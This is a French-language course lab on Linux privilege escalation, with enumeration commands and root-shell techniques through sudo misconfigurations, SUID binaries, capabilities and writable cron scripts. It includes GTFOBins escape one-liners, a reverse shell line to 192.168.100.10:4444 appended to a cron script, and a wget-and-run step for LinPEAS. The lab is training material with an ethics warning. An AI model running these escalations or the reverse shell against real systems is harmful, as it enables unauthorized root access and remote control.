Aller au contenu principal

Lab 9.1: Escalade de Privilèges Linux

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Énumérer un système Linux pour trouver des vecteurs d'escalade
  • Exploiter les binaires SUID/SGID mal configurés
  • Exploiter sudo mal configuré
  • Utiliser GTFOBins pour exploitation de binaires
  • Exploiter des capabilities Linux
  • Exploiter des tâches cron mal sécurisées
  • Utiliser LinPEAS pour automatisation
  • Passer de user standard à root en quelques minutes

Durée Estimée​

40 minutes

Prérequis​

  • VM Linux (Ubuntu/Debian) ou WSL
  • Compte user standard
  • Accès à un compte avec sudo (pour setup)
  • Compréhension de base de Linux

Contexte Professionnel​

L'escalade de privilèges Linux est essentielle en:

  • Tests de pénétration
  • CTF et compétitions
  • Audit de sécurité
  • Red Team exercises

Utilisé après:

  • Exploitation initiale (web shell, SSH compromis)
  • Pour obtenir root et contrôle total

AVERTISSEMENT ÉTHIQUE ET LÉGAL​

Techniques d'escalade pour obtenir root sans autorisation = Crime informatique.

AUTORISÉ:

  • VM de test
  • Plateformes légales (TryHackMe, HackTheBox)
  • Tests autorisés

INTERDIT:

  • Serveurs réels sans permission
  • Escalade non autorisée

Partie 1: Énumération Linux​

Commandes Essentielles​

Informations système:

uname -a                # Kernel version
cat /etc/os-release # Distribution
hostname # Nom machine
id # Votre UID/GID
whoami # Nom utilisateur

Permissions et sudo:

sudo -l                 # Commandes sudo autorisées
cat /etc/sudoers # Configuration sudo (si lisible)

Résultat typique sudo -l:

User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim

CRITIQUE: User peut exécuter vim en tant que root sans mot de passe!

Recherche fichiers SUID:

find / -perm -4000 2>/dev/null

Résultat:

/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← DANGEREUX SI MAL CONFIGURÉ
/usr/bin/vim.basic ← TRÈS DANGEREUX

Questions:

  1. Quelle version de kernel votre système utilise-t-il?
  2. Quelles commandes sudo pouvez-vous exécuter?

Partie 2: Exploitation de Sudo​

Sudo avec NOPASSWD​

Si sudo -l affiche:

(ALL) NOPASSWD: /usr/bin/vim

Exploitation via GTFOBins:

Visitez: https://gtfobins.github.io/gtfobins/vim/

Payload:

sudo vim -c ':!/bin/bash'

Ou:

sudo vim
:set shell=/bin/bash
:shell

BOOM! Shell root!

Vérifiez:

whoami
id

Résultat: root

De user à root en 10 secondes!

Autres Binaires Exploitables​

find:

sudo find /etc -exec /bin/bash \;

awk:

sudo awk 'BEGIN {system("/bin/bash")}'

less:

sudo less /etc/hosts
!bash

python:

sudo python -c 'import os; os.system("/bin/bash")'

Questions: 3. L'exploitation de sudo a-t-elle fonctionné? 4. Quel binaire avez-vous exploité?


Partie 3: Binaires SUID​

Trouver SUID Dangereux​

Recherche:

find / -perm -4000 2>/dev/null

Binaires SUID légitimes (normaux):

  • /usr/bin/passwd
  • /usr/bin/sudo
  • /usr/bin/su

Binaires SUID DANGEREUX (si présents):

  • /usr/bin/find
  • /usr/bin/vim
  • /usr/bin/python
  • /usr/bin/bash
  • /usr/bin/more
  • /usr/bin/less

Si find est SUID:

/usr/bin/find /etc -exec /bin/bash -p \;

Option -p: Preserve SUID (reste root!)

Questions: 5. Quels binaires SUID avez-vous trouvés? 6. Lesquels sont exploitables selon GTFOBins?


Partie 4: Capabilities Linux​

Lister Capabilities​

getcap -r / 2>/dev/null

Résultat typique:

/usr/bin/python3.8 = cap_setuid+ep

cap_setuid: Permet de changer UID!

Exploitation:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Root obtenu!

Questions: 7. Des binaires avec capabilities dangereuses sont-ils présents?


Partie 5: Cron Jobs​

Trouver Cron Jobs​

cat /etc/crontab
ls -la /etc/cron.*
crontab -l

Si script cron est writable:

echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh

Attendre exécution: Shell root!


Partie 6: Automatisation avec LinPEAS​

Installation​

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Scan complet automatique!

Résultat:

  • Toutes les vulnérabilités listées
  • Code couleur (rouge = critique)
  • Suggestions d'exploitation

Livrables​

  1. Rapport avec escalade réussie user à root
  2. Méthode utilisée (sudo, SUID, capabilities)
  3. Temps mesuré pour escalade
  4. Output LinPEAS complet

Conclusion​

Techniques maîtrisées:

  • Énumération Linux complète
  • Exploitation sudo
  • SUID exploitation
  • Capabilities
  • Automatisation LinPEAS

Temps typique d'escalade: 5-15 minutes avec énumération!


Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 9